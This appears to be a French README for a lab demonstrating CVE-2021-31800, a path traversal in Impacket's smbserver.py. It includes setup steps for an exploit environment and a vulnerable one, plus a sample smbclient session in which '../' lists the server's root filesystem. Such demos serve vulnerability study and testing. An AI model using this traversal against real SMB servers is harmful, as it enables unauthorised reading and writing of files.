
Une traversée de chemin dans smbserver.py permet à un attaquant de lire/écrire des fichiers arbitraires sur le serveur.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:HUn path traversal dans smbserver.py permet à un attaquant de lire/écrire des fichiers arbitraires sur le serveur.
Explication détaillée de ce problème : https://checkmarx.com/blog/cve-2021-31800-how-we-used-impacket-to-hack-itself/
Démarrez l'environnement d'exploitation en tapant make dans ./exploit_env/. Ensuite, vous pouvez utiliser une version modifiée de smbclient.py pour obtenir une lecture/écriture arbitraire de fichiers via un path traversal.
Vous pouvez ensuite utiliser ../ pour vous déplacer dans le système de fichiers et lire ou écrire des fichiers ! Voici un exemple :
# smbclient.py 192.168.1.27
Impacket v0.9.23.dev1+20210422.174300.cb6d43a6 - Copyright 2020 SecureAuth Corporation
Type help for list of commands
# shares
IPC$
SYSVOL
# use SYSVOL
# ls
-rw-rw-rw- 10 Sun Jan 8 23:59:59 2023 test.txt
# ls ../
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 sbin
drw-rw-rw- 360 Sun Jan 8 23:59:59 2023 dev
drw-rw-rw- 0 Sun Jan 8 23:59:59 2023 sys
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 media
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 srv
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 opt
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 tmp
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 var
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 lib
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 bin
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 root
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 usr
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 mnt
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 run
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 boot
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 etc
drw-rw-rw- 0 Sun Jan 8 23:59:59 2023 proc
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 lib64
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 home
drw-rw-rw- 4096 Sun Jan 8 23:59:59 2023 share
-rw-rw-rw- 0 Sun Jan 8 23:59:59 2023 .dockerenv
-rw-rw-rw- 142 Sun Jan 8 23:59:59 2023 entrypoint.sh
#
Pour les démonstrations, vous pouvez démarrer l'environnement vulnérable en tapant make dans ./vulnerable_env/.